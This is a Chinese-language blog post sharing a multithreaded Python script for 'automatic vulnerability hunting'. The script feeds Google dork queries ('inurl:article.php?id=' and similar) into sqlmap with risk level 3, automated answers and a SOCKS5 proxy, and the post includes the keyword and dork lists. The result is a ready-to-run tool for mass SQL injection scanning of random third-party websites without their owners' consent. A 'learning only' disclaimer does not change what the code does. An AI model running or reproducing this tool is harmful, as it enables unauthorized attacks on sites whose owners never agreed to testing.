当前位置:首页 > 信息安全 > 正文内容

(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究

chanra1n1年前 (2023-09-10)信息安全6584

注意,本程序仅用于学习和方法研究,不得进行实际使用。

下面的程序是一个Python脚本,用于执行sqlmap命令的多线程批处理工具。以下是对程序的主要特点和功能的介绍:

  • 文件检查和初始化:程序开始时会检查是否存在keywords.txt和type.txt文件。如果这两个文件不存在,程序将输出错误消息并退出。

  • 关键字计数:程序会打开keywords.txt和type.txt文件,计算每个文件中的行数,用于后续的进度跟踪。

  • 多线程处理:程序使用concurrent.futures.ThreadPoolExecutor创建一个线程池,以限制并发线程的数量。这有助于提高程序的效率,避免同时运行太多的sqlmap命令。

  • 执行sqlmap命令:每个线程负责执行一个sqlmap命令。sqlmap命令的具体内容存储在sqlmap_command变量中,可以根据show_sqlmap_output标志来决定是否输出sqlmap命令的结果。如果show_sqlmap_output为True,则会显示命令输出,否则输出将被重定向到/dev/null以隐藏。

  • 进度跟踪:程序使用全局计数器和线程锁来跟踪关键字的处理进度,以便在控制台上显示处理进度信息。

  • 错误处理:程序包含错误处理机制,能够捕获sqlmap命令执行过程中的错误,并输出错误消息。

  • 任务等待:在所有任务提交到线程池后,程序会等待所有任务完成,然后输出"All Works done!"消息表示处理完成。

  • 控制输出:你可以在代码的开头设置show_sqlmap_output为True或False来控制是否输出sqlmap命令的结果。

这个程序允许你批量执行sqlmap命令,根据需要控制是否显示命令的输出,并且通过多线程提高了执行效率。它可以帮助你自动化执行sqlmap扫描任务,并在需要时进行扩展和自定义。

#run.py
# -*- coding: utf-8 -*-
import os
import threading
from concurrent.futures import ThreadPoolExecutor
import subprocess

# 控制是否输出sqlmap命令的标志
show_sqlmap_output = False

# 检查是否存在keywords.txt和type.txt文件
if not (os.path.isfile("keywords.txt") and os.path.isfile("type.txt")):
    print("keywords.txt and type.txt not exist.")
    exit(1)

# 计算关键字总数
with open("keywords.txt", "r") as keywords_file:
    total_keywords1 = sum(1 for line in keywords_file)

with open("type.txt", "r") as type_file:
    total_keywords2 = sum(1 for line in type_file)

# 初始化进度计数器和锁
progress_keywords1 = 0
progress_keywords2 = 0
progress_lock = threading.Lock()

# 函数执行sqlmap命令
def execute_sqlmap(keyword1, keyword2):
    global progress_keywords1, progress_keywords2

    try:
        # 执行sqlmap命令,根据show_sqlmap_output标志来决定是否输出
        sqlmap_command = f"sqlmap -g \"{keyword1} {keyword2}\" --proxy \"socks5://192.168.0.167:10516\" --threads 5 --batch --answer \"extending=N,follow=N,keep=N,exploit=N\" --smart --risk 3"
        if not show_sqlmap_output:
            sqlmap_command += " > /dev/null 2>&1"
        
        subprocess.run(sqlmap_command, shell=True, check=True)

        # 更新进度计数器
        with progress_lock:
            progress_keywords2 += 1
            progress_keywords2 = progress_keywords2 % total_keywords2
            print(f"INFO:Words:{progress_keywords1}/{total_keywords1},Type:{progress_keywords2}/{total_keywords2}")
    except subprocess.CalledProcessError as e:
        print(f"ERROR: An error occurred for keyword pair ({keyword1}, {keyword2}): {str(e)}")

# 创建线程池
thread_pool = ThreadPoolExecutor(max_workers=5)  # 控制并发线程数量

# 从keywords.txt中逐行读取关键字1
with open("keywords.txt", "r") as keywords_file:
    for keyword1 in keywords_file:
        keyword1 = keyword1.strip()
        if keyword1:
            # 增加关键字1的进度
            with progress_lock:
                progress_keywords1 += 1

            # 从type.txt中逐行读取关键字2并提交到线程池执行sqlmap命令
            with open("type.txt", "r") as type_file:
                for keyword2 in type_file:
                    keyword2 = keyword2.strip()
                    if keyword2:
                        # 提交任务到线程池
                        thread_pool.submit(execute_sqlmap, keyword1, keyword2)

# 等待所有任务完成
thread_pool.shutdown()

print("All Works done!")

keywords.txt

Business
Company
Corporation
Entrepreneur
Startup
Industry
Commerce

type.txt

inurl:aboutbook.php?id=
inurl:announce.php?id=
inurl:art.php?idm=
inurl:article.php?ID=
inurl:article.php?id= 
inurl:artikelinfo.php?id=
inurl:avd_start.php?avd=
inurl:band_info.php?id=


扫描二维码推送至手机访问。

版权声明:本文由我的FPGA发布,如需转载请注明出处。

本文链接:https://myfpga.cn/index.php/post/326.html

分享给朋友:

“(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究” 的相关文章

(原创)对SQLMAP -g自动挖洞程序补充的后续配套代码及应用 仅用于学习和方法研究

(原创)对SQLMAP -g自动挖洞程序补充的后续配套代码及应用 仅用于学习和方法研究

前言在这之前,我们发布了一篇《(原创)基于SQLMAP和Google实现自动挖洞 仅用于学习和方法研究》,今天开源的是其配套的后续程序,能够实现结果上传,并保存至数据库中,方便查看。注意:下面的程序没有进行安全增强,可能会带来SQL注入问题,请在内网搭建使用即可。摘要在今天的博客中,我们将介绍两个P...

(原创)通过Python编写网络爬虫程序并保存结果(SearX) 仅用于学习和方法研究

(原创)通过Python编写网络爬虫程序并保存结果(SearX) 仅用于学习和方法研究

简介在今天的数字时代,网络上的信息量庞大,但有时我们需要从多个网站中收集数据。在这篇博客中,我们将介绍如何使用Python编写一个网络爬虫程序,以自动从多个网站中抓取数据,并将结果保存到文件中。我们将使用一个名为SearxCheckList的示例程序来演示这个过程。第一步:准备工作在开始编写网络爬虫...

(原创)通过Python编写Xray批量测试脚本 仅用于学习和方法研究

(原创)通过Python编写Xray批量测试脚本 仅用于学习和方法研究

简介: Xray 批量控制工具是一款功能强大的网络扫描工具,旨在帮助安全专业人员发现和评估网络应用程序中的漏洞。本工具结合了高度定制化的扫描功能和多线程处理,使用户能够高效地扫描多个目标并快速获取漏洞信息。在这篇介绍中,我们将深入了解Xray批量控制工具的主要特点和用途。主要特点:多线程扫描: Xr...

(原创)Xray多目标检测控制 Python实现 带继续扫描 目标去重 WebHook上传

(原创)Xray多目标检测控制 Python实现 带继续扫描 目标去重 WebHook上传

Web安全是互联网时代一个非常重要的话题。为了确保网站和应用程序的安全性,经常需要进行漏洞扫描和渗透测试。Xray 是一款强大的开源工具,可以用于自动化漏洞扫描。在本篇博客中,我们将介绍如何使用 Python 编写一个自动化脚本,将 Xray 与 Python 结合起来,以实现对多个目标网站的自动化...